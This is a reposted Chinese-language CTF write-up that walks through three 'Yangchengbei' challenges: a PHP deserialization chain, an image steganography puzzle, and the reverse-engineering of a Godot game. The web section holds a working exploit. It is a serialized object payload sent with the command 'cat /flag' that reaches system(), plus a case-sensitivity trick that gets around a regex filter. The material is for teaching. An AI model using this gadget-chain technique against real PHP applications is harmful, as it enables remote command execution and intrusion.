记“羊城杯”部分题目的解题思路

admin 2026-07-09 06:54:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了羊城杯CTF部分题目的解题思路,涵盖Web1的PHP反序列化链构造、Misc的图片隐写分析及Re1的Godot游戏逆向。Web1通过构造H->A->V->E->F对象链触发U类的__invoke执行命令;Misc使用Fireworks解析图片中的二进制符号(男1女0)得到flag;Re1逆向Godot引擎游戏,通过分析main.gdc中分数触发逻辑解码字符串a获取flag。文章提供了详细的技术分析与脚本示例。 综合评分: 85 文章分类: WEB安全,逆向分析,CTF,安全工具,实战经验


cover_image

记 “ 羊城杯 ” 部分题目的解题思路

蚁景网安

2026年7月6日 17:14 湖南

在小说阅读器读本章

去阅读

以下文章来源于蚁景网络安全 ,作者秋名山上的小柠

蚁景网络安全 .

致力于为你带来更实用的网络安全技术内容!

0.前言

好久没打CTF了,回顾一下 “ 羊城杯 ” ,记录一下做题过程

1.web1

给了份php代码

<?php

error_reporting(0);
highlight_file(__FILE__);

classA{
&nbsp; &nbsp;&nbsp;public$first;
&nbsp; &nbsp;&nbsp;public$step;
&nbsp; &nbsp;&nbsp;public$next;

&nbsp; &nbsp;&nbsp;publicfunction__construct()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->first =&nbsp;"继续加油!";
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;publicfunctionstart()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo$this->next;
&nbsp; &nbsp; }
}

classE{
&nbsp; &nbsp;&nbsp;private$you;
&nbsp; &nbsp;&nbsp;public$found;
&nbsp; &nbsp;&nbsp;private$secret&nbsp;=&nbsp;"admin123";

&nbsp; &nbsp;&nbsp;publicfunction__get($name){
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if($name&nbsp;===&nbsp;"secret") {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo"<br>".$name." maybe is here!</br>";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->found->check();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

classF{
&nbsp; &nbsp;&nbsp;public$fifth;
&nbsp; &nbsp;&nbsp;public$step;
&nbsp; &nbsp;&nbsp;public$finalstep;

&nbsp; &nbsp;&nbsp;publicfunctioncheck()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(preg_match("/U/",$this->finalstep)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo"仔细想想!";
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->step =&nbsp;new$this->finalstep();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ($this->step)();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

classH{
&nbsp; &nbsp;&nbsp;public$who;
&nbsp; &nbsp;&nbsp;public$are;
&nbsp; &nbsp;&nbsp;public$you;

&nbsp; &nbsp;&nbsp;publicfunction__construct()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->you =&nbsp;"nobody";
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;publicfunction__destruct()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->who->start();
&nbsp; &nbsp; }
}

classN{
&nbsp; &nbsp;&nbsp;public$congratulation;
&nbsp; &nbsp;&nbsp;public$yougotit;

&nbsp; &nbsp;&nbsp;publicfunction__call(string$func_name,&nbsp;array$args)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returncall_user_func($func_name,$args[0]);
&nbsp; &nbsp; }
}

classU{
&nbsp; &nbsp;&nbsp;public$almost;
&nbsp; &nbsp;&nbsp;public$there;
&nbsp; &nbsp;&nbsp;public$cmd;

&nbsp; &nbsp;&nbsp;publicfunction__construct()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->there =&nbsp;newN();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->cmd =&nbsp;$_POST['cmd'];
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;publicfunction__invoke()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return$this->there->system($this->cmd);
&nbsp; &nbsp; }
}

classV{
&nbsp; &nbsp;&nbsp;public$good;
&nbsp; &nbsp;&nbsp;public$keep;
&nbsp; &nbsp;&nbsp;public$dowhat;
&nbsp; &nbsp;&nbsp;public$go;

&nbsp; &nbsp;&nbsp;publicfunction__toString()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$abc&nbsp;=&nbsp;$this->dowhat;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->go->$abc;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return"<br>Win!!!</br>";
&nbsp; &nbsp; }
}

unserialize($_POST['payload']);

?>

代码审计后一看就能看到unserialize这个危险函数

unserialize() 函数用于将通过serialize()函数序列化后的对象或数组进行反序列化,并返回原始的对象结构

并且代码里面没有进行任何的过滤和检验,那么如果类中定义了像:

__destruct()__toString()__wakeup()``__call()__get()__invoke() 等这样的魔术方法,攻击者就可以通过构造精心的序列化对象,就可以让

PHP 自动执行任意代码路径

而这份代码里刚好有一整套可链式调用的危险类

首先是class A

public&nbsp;function&nbsp;start()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;$this->next;
&nbsp; &nbsp; }

当 echo $this->next 时,若 $this->next 是个对象且定义了 __toString(),则会触发它

接着是 class E

public&nbsp;function&nbsp;__get($name){
&nbsp; &nbsp;&nbsp;if($name&nbsp;===&nbsp;"secret") {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<br>".$name." maybe is here!</br>";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->found->check();
&nbsp; &nbsp; }
}

这会触发 $this->found->check()

还有class H

&nbsp;public&nbsp;function&nbsp;__destruct()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->who->start();
&nbsp; &nbsp; }

在销毁时自动调用 $this->who->start()

class U直接进行任意命令执行

public&nbsp;function&nbsp;__invoke()&nbsp;{
&nbsp; &nbsp;&nbsp;return&nbsp;$this->there->system($this->cmd);
}

还有class F class V 也有类似的魔术方法,所以我们可以构造一串序列化对象,让程序在 unserialize() 时自动触发这一系列魔术方法,最终执行系统命令,

拿到flag,这就是脚本的思路

import&nbsp;requests
import&nbsp;urllib.parse
url =&nbsp;""&nbsp;&nbsp;#web1给的目标url
payload_str =&nbsp;'O:1:"H":3:{s:3:"who";O:1:"A":3:{s:5:"first";N;s:4:"step";N;s:4:"next";O:1:"V":4:{s:4:"good";N;s:4:"keep";N;s:6:"dowhat";s:6:"secret";s:2:"go";O:1:"E":3:{s:6:"\00E\00you";N;s:9:"\00E\00secret";s:8:"admin123";s:5:"found";O:1:"F":3:{s:5:"fifth";N;s:4:"step";N;s:9:"finalstep";s:1:"u";}}}}s:3:"are";N;s:3:"you";N;}'
data = {
&nbsp; &nbsp;&nbsp;"payload": payload_str,
&nbsp; &nbsp;&nbsp;"cmd":&nbsp;"cat /flag"
}
try:
&nbsp; &nbsp; response = requests.post(url, data=data, timeout=10)
&nbsp; &nbsp;&nbsp;print("响应状态码:", response.status_code)
&nbsp; &nbsp;&nbsp;print("响应内容:\n", response.text)
except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp; &nbsp;&nbsp;print("请求错误:", e)

用 requests.post 向目标 URL 发起一个表单 POST,请求体包含两个字段:

  • • payload:一个 PHP serialize() 格式的字符串(会被服务端 unserialize())。
  • • cmd:要传给后续链路执行/使用的命令(在原始易受攻击代码中会被 U 类读取并最终交给 system()

然后来依次解释payload_str

  • • 最外层:O:1:"H":3:{ ... } —— 一个 H 实例,3 个属性:whoareyou

  • • who → 是一个 A 对象:O:1:"A":3:{ ... }

  • • A 的 next 字段被设置成一个 V 对象:O:1:"V":4:{ ... }

  • • V->dowhat = "secret"(注意是字符串 "secret"

  • • V->go → 是一个 E 对象:O:1:"E":3:{ ... }

  • • 在 E 对象内,你看到 \00E\00secret 被赋值为 "admin123"

  • • E->found → 是一个 F 对象:O:1:"F":3:{ ... }

  • • F->finalstep 被设置为 s:1:"u"

  • • H 的其它属性 areyou 在 payload 里是 N

简单点来说,就是payload 手工把 H → A → V → E → F 这样的对象关系构造出来,并把 F->finalstep 置为 'u',把 V->dowhat 置为 'secret',并把 E

的私有 secret 属性显式写成 "admin123"

那是如何触发ROP链的呢?

首先,服务端会执行 unserialize($_POST['payload']),然后在脚本结束或对象被回收时,H::__destruct() 会自动运行,其中有 $this->who-

>start();,即会调用 A->start()去执行 echo $this->next;

由于 A->next 被设为一个对象 Vecho 会触发 V::__toString(),而V::__toString() 的操作是内部读取 $this->dowhat"secret"),然后执行

$this->go->$abc,即 E->secret,访问该属性会触发 E::__get('secret')E::__get() 在检测到 $name === "secret" 时会执行 $this->found->check() —— 也就是调用 F::check()

F::check() 会去检查 preg_match("/U/", $this->finalstep);

  • • 如果 finalstep 包含大写 U,则会不予继续执行
  • • 但这里 payload 把 finalstep 设为小写 'u's:1:"u"),preg_match(“/U/”,”u”) 不匹配,因此绕过了

所以因此 F::check() 会执行:

$this->step =&nbsp;new&nbsp;$this->finalstep();
($this->step)();

这会 new 一个名为 'u' 的类,在 PHP 中类名不区分大小写,因此 'u' 会解析为 U 类,并随后把该实例当函数调用,触发 U::__invoke()

U::__invoke() 会调用 $this->there->system($this->cmd)

而且,there 被构造为 N,而 N::__call() 会把方法名当作函数名执行(call_user_func($func_name,$args[0])),从而把 system($cmd) 真正执行出来

最后U::__construct() 在构造时会读取 $_POST['cmd'],即脚本里传的 "cat /flag",所以最终会对传入的 cmd 执行

所以成功拿到flag

2.misc-成功男人背后的女人

层层解包之后,发现是一张图片

这种一般都是图片里面隐藏有什么东西,用010打开看看

发现是mkbt,应该是那种自定义的模块,上网找找资料

发现是adobe fireworks 的专有格式,需要使用fireworks才能看到完整信息

https://zhuanlan.zhihu.com/p/32247127059

打开之后发现一张隐藏图片

打开看看,发现是带有一些符号的图片

一开始还没有想明白这是什么东西,直到有师傅提醒说这是二进制,男是1,女是0,就可以转换为flag了…..

3.re1

拿到题目是个exe文件,先点开看看能不能运行,一运行就看到熟悉的界面,这个界面和图标太熟悉了!(别问我为什么会熟悉!)

这是Godot引擎写的游戏,所以得去找对应的逆向工具

Godot Re tools

拿工具提取之后,就能发现所有文件的代码都能看到(这比C逆向好看多了)

在main.gdc文件中发现了一个类似输出结果分数的函数,怀疑这里就是flag输出的地方

当分数达到特定值 7906 时,把字符串 a 按自定义编码解码成文本

var bin_chunk = a.substr(i, 12):取出当前的 12 位子串

将这 12 位再分为 三个 4 位子串:

  • • hundreds = bin_chunk.substr(0, 4).bin_to_int():把前 4 位当作二进制数(0~15),转成整数,作百位数字
  • • tens = bin_chunk.substr(4, 4).bin_to_int():中间 4 位,当作十位(0~15)
  • • units = bin_chunk.substr(8, 4).bin_to_int():最后 4 位,当作个位(0~15)

var ascii_value = hundreds * 100 + tens * 10 + units:把三个小数位组组合成一个十进制数,计算方法是 hundreds*100 + tens*10 + units ——

也就是说每 4 位不是直接表示一个十进制数,而是分别代表 ASCII 值的百位、十位、个位

如果三个 4 位分别是 000000010010,那就是 0*100 + 1*10 + 2 = 12 → ASCII 码 12

result += String.chr(ascii_value):把计算出的十进制作为 ASCII 码,用 String.chr 转成字符并追加到 result

循环结束后,$HUD.show_message(result) 在 HUD 上显示解码后的整段文本

那脚本编写就很容易了,因为我们没时间在游戏中拿到7906分,所以可以直接把代码中字符串a的数值拷贝下来,然后再把上述代码张贴上去,让它跑字符串a的

数值就可以了,就这么简单

a =&nbsp;"000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"

flag =&nbsp;""
for&nbsp;i&nbsp;in&nbsp;range(0,&nbsp;len(a),&nbsp;12):
&nbsp; &nbsp; bin_chunk = a[i:i+12]
&nbsp; &nbsp; hundreds =&nbsp;int(bin_chunk[0:4],&nbsp;2)
&nbsp; &nbsp; tens =&nbsp;int(bin_chunk[4:8],&nbsp;2)
&nbsp; &nbsp; units =&nbsp;int(bin_chunk[8:12],&nbsp;2)
&nbsp; &nbsp; ascii_value = hundreds *&nbsp;100&nbsp;+ tens *&nbsp;10&nbsp;+ units
&nbsp; &nbsp; flag +=&nbsp;chr(ascii_value)

print(flag)

学习网安实战技术,戳“阅读原文”


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:蚁景网安 《记 “ 羊城杯 ” 部分题目的解题思路》

    评论:0   参与:  0